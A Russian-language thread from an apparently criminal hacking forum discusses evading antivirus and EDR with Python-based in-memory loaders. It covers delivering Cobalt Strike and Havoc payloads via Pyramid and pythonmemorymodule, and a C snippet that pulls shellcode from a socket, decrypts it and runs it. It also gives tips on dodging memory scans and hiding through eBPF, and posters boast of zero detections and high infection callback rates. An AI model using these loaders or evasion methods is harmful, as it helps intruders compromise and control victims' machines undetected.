• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход AV, EDR, XDR

В 18ых годах надо было написать LLVM, ast ультра-морфер сорцов, поддерживающий C++11, выложить полный POC на форум, который поморфит тебе любой код, загрузит драйвер, анхукнет вызовы в ядре в перемешку с белыми вызовами апи, но этого было мало. Люди требовали сделать полиморфный ВМ со своим ЯП, даже в таком случае коммент Апокса под типу "баян", "делали еще в 2010 году" было не избежать, так еще из под бока выйдет хранитель с очередными видео, где покажет как обойти спам фильтр, пролить через адсы и не словить ни один алерт ни от хрома, ни от UAC без смс и регистрации. Помнится какой-то бедолага выложил стилер на форум на петоне, так его чуть до суицида не довели, а сейчас вполне так на конкурс тянет за 20к зеленых :)
Напомнило бородатый анекдот:
Однажды на одной из английских фабрик вышел из строя паровой генератор. Каких только специалистов не приглашал фабрикант, но никто не смог его починить. И вот однажды пришел незнакомый человек и сказал, что может починить генератор. Фабрикант удивился, но решил дать мастеру шанс.
Аккуратно и методично тот начал простукивать различные участки машины, внимательно прислушиваясь к звукам, которые издавала металлическая поверхность. За десять минут он простучал датчики давления, термостаты, подшипники и соединения, где, как он предполагал, находится повреждение. Затем он подошёл к одному из коленчатых соединений и нанёс несильный удар молотком. Эффект был мгновенным. Что-то сдвинулось, и паровой генератор заработал.
Фабрикант долго благодарил мастера, и попросил его прислать счет, где были бы расписаны все виды работ. Вот что было написано в счете:
За десять минут простукивания - 1 фунт.
За знание того, куда нужно ударить - 9999 фунтов

Сложность и трудозатраты ради сложности и трудозатрат - такое себе мерило, главное результат. Сишникам просто не нравится что питухоновцам все дается легко, и они хотят чтобы все остальные как мученники страдали вместе с ними
 
А вот это вот всё имеет какое-то применение в масштабах больших чем "я затестил на виртуалке"? В итоге получим очередной powershell с amsi?
Метод существенно переделан но логика +- та же и на траффе показывает >90% отстука. Это пока что лучшее решение из ныне существующих под трафф. Разумеется без всяких там PyInstaller`ов
1735968433274.png
 
А че на винде нельзя просто в память скачать тот-же бекон?
Ну типа смапить страницу для шеллкода, потом скачать шеллкод в эту страницу, расшифровать там и все.
или оно рантайм палит?
а как тогда оно рантайм не палит при выполнении через питон, если питон делает почти тоже самое?

нипанятно
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а как тогда оно рантайм не палит при выполнении через питон, если питон делает почти тоже самое?
Если отвечать в общем, то потому, что антивирусы делаются на отъебись. Как только что-то получает достаточную распространенность, то это что-то будет палиться, вне зависимости от того, сколько десятков уровней абстракции будет настроено в малвари. Сейчас это не палится (если это действительно не палится) усредненным антивирусом потому, что это недостаточно распространено.

Вообще, по сабжу предлагаю написать или взять какой-нибудь интерпретатор на Петухоне, загнать его в IronPython - интерпретатор Петухона, написанный на С#, загнать его в Mono (интерпретатор дотнетов) в режиме чистой интерпретации (без JIT), а его уже загнать в Docker. Вот тогда антивирусы охереют.
 
Если отвечать в общем, то потому, что антивирусы делаются на отъебись. Как только что-то получает достаточную распространенность, то это что-то будет палиться, вне зависимости от того, сколько десятков уровней абстракции будет настроено в малвари. Сейчас это не палится (если это действительно не палится) усредненным антивирусом потому, что это недостаточно распространено.

Вообще, по сабжу предлагаю написать или взять какой-нибудь интерпретатор на Петухоне, загнать его в IronPython - интерпретатор Петухона, написанный на С#, загнать его в Mono (интерпретатор дотнетов) в режиме чистой интерпретации (без JIT), а его уже загнать в Docker. Вот тогда антивирусы охереют.
то есть обычное

C:
void *buf = malloc(0x1000);
recv(sockfd, buf, 0x1000);
decrypt(buf, key, sizeof(key));
// виндовый аналог mprotect() для rx
( (void(*)(void)) buf) ();

не проканает, если из sockfd пришел бекон кобы?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
не проканает, если из sockfd пришел бекон кобы?
Это не проканает как минимум потому, что malloc не выделяет исполняемую память, да и блок выделенный malloc'ом не обязательно будет выровнен на 16 байт в виртуальной памяти. Но, отвечая на твой вопрос без придирок, на более менее нормальном антивирусе и/или EDR не должно проканать, а проканает или нет - нужно тестить.
 
то есть обычное

C:
void *buf = malloc(0x1000);
recv(sockfd, buf, 0x1000);
decrypt(buf, key, sizeof(key));
// виндовый аналог mprotect() для rx
( (void(*)(void)) buf) ();

не проканает, если из sockfd пришел бекон кобы?
RX в хипе? Попахивает пиздюлями от авера
 
Пирамида , pythonmemorymodule.py и хавок длл с кастом ентри поинтом отработали отлично. через python.exe и фулл python embeded на цели.

Но как оказалось действительно можно протащить два файла - оригинальные python31*.dll, vcruntime140.dll + пару либ. и будут базовые os команды работать.
1736087708069.png

Сделал ps1 скрипт типа invoke-python. Деф не ругается, вирустотал 0-66 на него реакции. Даже на putty загрузчика вшитого, без какой либо обфускации.
Но в итоге сделал аналог ide Я не изобретаю велосипед?
А вот для пейлоада с zlib пирамиды нужно подтаскивать еще кучу либ и дллок (но опять же не весь ембедед и не исполняемые ехе)

Пришлось еще переписать под новый питон pyramid.py
Код:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ssl_context.load_cert_chain(certfile=options.sslcert, keyfile=options.sslkey)
        server.socket = ssl_context.wrap_socket(server.socket, server_side=True)

вместо строчки 419
Код:
server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)

1736085955417.png

Долго пытался скомпилить с помощью cpython , standalone всякие. Но это же не подписанные будут(. Как там через Python.net у сноукраша подтягивалось всё, я не понял, но очень интересно.

Надо тестить с едр всякими и каспером(+-) . Автору благодарочка еще раз. (ждем про яву и раст какой нить, кстати есть rustpyramid на гите)
update (kasper plus ) не видит НИФИГА. ни загрузчик этот пвш, ни пейлоад хавока (это возможно уже достоинство пакера)
 
Последнее редактирование:
на более менее нормальном антивирусе и/или EDR не должно проканать
почему?
более-менее нормальный АВ сканит каждый mmap каждого процесса?

RX в хипе? Попахивает пиздюлями от авера
то есть аверы хукают нейтив апи на винде?
 
то есть аверы хукают нейтив апи на винде?
Ну во первых начнем с нативным вызовов - аверы ставят хуки в юзермоде это раз, два - в кернел моде можно их отследить, но пишут такое дело на отъебись

Во вторых: у антивирусов есть такая штука, как скан памяти, увидит RX память, увидит что она находится в хипе, так легит софт явно не делает

Может авер сразу детект не даст, но общий счет будет явно увеличен

Как сказал товарищ сверху - так делает как минимум нод, а помоему еще софос как минимум

Это все верно если мы говорим про нормальные аверы и едры
 
Пожалуйста, обратите внимание, что пользователь заблокирован
у антивирусов есть такая штука, как скан памяти, увидит RX память, увидит что она находится в хипе, так легит софт явно не делает
Куча - это абстракция над виртуальной памятью, снаружи антивирус видит память, условно, страницами, и делать ему различие в том, куча это или не куча, наверное, не имеет особого смысла. Потом, насколько я помню, дефолтная куча процесса, на которой выделяет память malloc и дефолтный оператор new, не является исполняемой, исполняемую кучу можно создать отдельно от дефолтной, передав в HeapCreate соответствующие флаги. И говоря в общем, исполняемые кучи и код на RWX страницах - это характерное поведение для JIT-компиляторов, типа как в дотнетах или джавах, исходя из этого, наличие шеллкода на RWX страницах выглядит чуть более палевно, чем наличие того же шеллкода на исполняемой куче. Но опять же все зависит от конкретного антивируса.
 
аверы ставят хуки в юзермоде
а дропперы не могут ставить хуки в юзермоде?

в кернел моде можно их отследить
мне интересен перфоманс импакт при скане каждого mmap в системе на уровне ядра
увидит RX память, увидит что она находится в хипе
ладно, как тогда на винде лоадер линкует либу в память?
допустим аналог `dlopen()`
что, если приложение в рантайме грузит либу - то это маликусь активити?)


снаружи антивирус видит память, условно, страницами,
вот мне не ясно как именно он доступается.

то есть еще раз, допустим како-то серьезный авер, типа каспера или что там:
ставит хук на mmap, mprotect (аналог)
вызывается коллбек что такое-то приложение поменяло аттрибуты памяти с RW на RX.
вызывается сканнер для конкретного диапазона памяти в конкретном приложении.

верно понимаю?

если верно - тогда в чем разница в какой памяти оно выполняется - которую сделал исполняемой дроппер, или python3?
если не верно - тогда как?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а дропперы не могут ставить хуки в юзермоде?
Зачем?

верно понимаю?
Ну примерно. Скан может происходить и по времени, а не из-за какого-то события.

тогда в чем разница в какой памяти оно выполняется - которую сделал исполняемой дроппер, или python3?
В общем случае - нет разницы. Но если, допустим, при перехвате происходит анализ стека вызвавшего потока, то из-за 100500 абстракций Петухона стек вызовов будет существенно отличен от привычной антивирусу малвари.
 
Зачем?
хукнуть авер?

В общем случае - нет разницы.
тогда зачем тянуть питухон?)

из-за 100500 абстракций
ну да, информационный шум. хотя как это сказывается на статичный скан памяти на сигнатуры - наверное никак.


спасибо за ответы =)
 
Alloc RWX/Protect RW -> RX = почти однозначный скан выделенной/протекченной памяти. Именно в этот момент запускается скан, точно знаю что Nod32 так делает.
ну в случае с RWX можно запустить поток который будет рандомно менять байтик где-то в первых 0x20000 в бесконечном цикле?
а второй поток будет выполнять 0x21000
вряд-ли он постранично перебирает, т.к. на странице не поместится сигнатура же?

хотя это я уже в дебри виндовые полез)
 
Кроме заезженной памяти user и kernel модов, кто то пробовал ebpf в винде? Майки добавили поддержку ebpf для windows 10,11, server 2016 и еще каких то, мне кажеться это новая скрытая зона которую аверы пока не трогают https://opensource.microsoft.com/blog/2021/05/10/making-ebpf-work-on-windows/
 
Поскольку он работает только в том случае, если python установлен на целевом устройстве, я бы не считал его слишком полезным.
Мужик ты дурак? Есть портативный интерпретатор без установки, в виде пары файлов. Доставить подписанный питон на машину это меньшая из проблем
 
Если немного допилить, не нужен даже портативный интерпретатор. Можно упаковать все pyinstaller в exe файл без зависимостей и с весом около 8мб + вес полезной нагрузки. Если скомпилировать через nuitka вообще получается 300-500кб.

Тут же в основе метода лежит техника LoadPE реализованная на python. А из этого можно собрать хоть лоадер, хоть криптор.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх